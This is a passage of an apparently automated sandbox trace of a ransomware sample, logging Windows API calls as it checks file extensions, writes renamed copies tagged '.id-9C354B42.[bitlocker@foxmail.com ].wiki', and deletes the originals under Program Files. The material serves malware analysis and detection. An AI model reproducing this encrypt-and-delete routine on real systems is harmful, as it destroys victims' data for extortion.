Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString=".zip") returned 4 [0058.350] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.350] lstrlenW (lpString=".rar") returned 4 [0058.350] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.351] lstrlenW (lpString=".bz2") returned 4 [0058.351] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.351] lstrlenW (lpString=".7z") returned 3 [0058.351] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.351] lstrlenW (lpString=".dbf") returned 4 [0058.351] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.351] lstrlenW (lpString=".1cd") returned 4 [0058.351] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.351] lstrlenW (lpString=".jpg") returned 4 [0058.351] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.351] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.351] lstrlenW (lpString="PreviousMenuButtonIconSubpi.png") returned 31 [0058.351] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.352] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3082) returned 1 [0058.352] CloseHandle (hObject=0x200) returned 1 [0058.352] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0058.352] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.352] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.352] lstrlenW (lpString=".doc") returned 4 [0058.352] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.352] lstrlenW (lpString=".docx") returned 5 [0058.352] lstrcmpiW (lpString1=".docx", lpString2="i.png") returned -1 [0058.352] lstrlenW (lpString=".pdf") returned 4 [0058.352] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.352] lstrlenW (lpString=".xls") returned 4 [0058.352] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.353] lstrlenW (lpString=".xlsx") returned 5 [0058.353] lstrcmpiW (lpString1=".xlsx", lpString2="i.png") returned -1 [0058.353] lstrlenW (lpString=".ppt") returned 4 [0058.353] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString=".zip") returned 4 [0058.353] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.353] lstrlenW (lpString=".rar") returned 4 [0058.353] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.353] lstrlenW (lpString=".bz2") returned 4 [0058.353] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString=".7z") returned 3 [0058.353] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString=".dbf") returned 4 [0058.353] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString=".1cd") returned 4 [0058.353] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString=".jpg") returned 4 [0058.353] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.353] lstrlenW (lpString=".doc") returned 4 [0058.353] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString=".docx") returned 5 [0058.353] lstrcmpiW (lpString1=".docx", lpString2="i.png") returned -1 [0058.353] lstrlenW (lpString=".pdf") returned 4 [0058.353] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.353] lstrlenW (lpString=".xls") returned 4 [0058.353] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.353] lstrlenW (lpString=".xlsx") returned 5 [0058.353] lstrcmpiW (lpString1=".xlsx", lpString2="i.png") returned -1 [0058.353] lstrlenW (lpString=".ppt") returned 4 [0058.354] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.354] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.354] lstrlenW (lpString=".zip") returned 4 [0058.354] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.354] lstrlenW (lpString=".rar") returned 4 [0058.354] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.354] lstrlenW (lpString=".bz2") returned 4 [0058.354] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.354] lstrlenW (lpString=".7z") returned 3 [0058.354] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.354] lstrlenW (lpString=".dbf") returned 4 [0058.354] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.354] lstrlenW (lpString=".1cd") returned 4 [0058.354] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0058.354] lstrlenW (lpString=".jpg") returned 4 [0058.354] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.354] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.354] lstrlenW (lpString="redmenu.png") returned 11 [0058.354] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.354] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3108) returned 1 [0058.354] CloseHandle (hObject=0x200) returned 1 [0058.355] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0058.355] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.355] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned 67 [0058.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned 67 [0058.355] lstrlenW (lpString=".doc") returned 4 [0058.355] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.355] lstrlenW (lpString=".docx") returned 5 [0058.355] lstrcmpiW (lpString1=".docx", lpString2="u.png") returned -1 [0058.355] lstrlenW (lpString=".pdf") returned 4 [0058.355] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.355] lstrlenW (lpString=".xls") returned 4 [0058.355] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.355] lstrlenW (lpString=".xlsx") returned 5 [0058.355] lstrcmpiW (lpString1=".xlsx", lpString2="u.png") returned -1 [0058.355] lstrlenW (lpString=".ppt") returned 4 [0058.355] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned 67 [0058.355] lstrlenW (lpString=".zip") returned 4 [0058.355] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.355] lstrlenW (lpString=".rar") returned 4 [0058.355] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.355] lstrlenW (lpString=".bz2") returned 4 [0058.355] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.355] lstrlenW (lpString=".7z") returned 3 [0058.355] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned 67 [0058.355] lstrlenW (lpString=".dbf") returned 4 [0058.355] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.357] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.357] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.395] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.395] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.395] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.396] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.397] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.397] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.397] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.398] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.398] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.398] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0058.418] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.418] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0058.419] GetLastError () returned 0x0 [0058.419] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x4360, lpOverlapped=0x0) returned 1 [0058.432] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0058.433] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.433] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0058.433] SetEndOfFile (hFile=0x1a4) returned 1 [0058.928] CloseHandle (hObject=0x1a4) returned 1 [0058.928] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.928] SetEndOfFile (hFile=0x200) returned 1 [0058.929] CloseHandle (hObject=0x200) returned 1 [0058.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0058.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0059.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.094] lstrlenW (lpString=".doc") returned 4 [0059.094] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString=".docx") returned 5 [0059.094] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0059.094] lstrlenW (lpString=".pdf") returned 4 [0059.094] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString=".xls") returned 4 [0059.094] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString=".xlsx") returned 5 [0059.094] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0059.094] lstrlenW (lpString=".ppt") returned 4 [0059.094] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.094] lstrlenW (lpString=".zip") returned 4 [0059.094] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0059.094] lstrlenW (lpString=".rar") returned 4 [0059.094] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString=".bz2") returned 4 [0059.094] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0059.094] lstrlenW (lpString=".7z") returned 3 [0059.094] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0059.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.094] lstrlenW (lpString=".dbf") returned 4 [0059.095] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString=".1cd") returned 4 [0059.095] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString=".jpg") returned 4 [0059.095] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString=".doc") returned 4 [0059.095] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString=".docx") returned 5 [0059.095] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0059.095] lstrlenW (lpString=".pdf") returned 4 [0059.095] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString=".xls") returned 4 [0059.095] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString=".xlsx") returned 5 [0059.095] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0059.095] lstrlenW (lpString=".ppt") returned 4 [0059.095] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString=".zip") returned 4 [0059.095] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0059.095] lstrlenW (lpString=".rar") returned 4 [0059.095] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString=".bz2") returned 4 [0059.095] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString=".7z") returned 3 [0059.095] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.095] lstrlenW (lpString=".dbf") returned 4 [0059.095] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0059.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.096] lstrlenW (lpString=".1cd") returned 4 [0059.096] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0059.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0059.096] lstrlenW (lpString=".jpg") returned 4 [0059.096] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0059.096] lstrcmpiW (lpString1=".xsl", lpString2=".wiki") returned 1 [0059.096] lstrlenW (lpString="sql2000.xsl") returned 11 [0059.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.496] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=34076) returned 1 [0060.496] CloseHandle (hObject=0x200) returned 1 [0060.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0060.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.497] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.497] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis 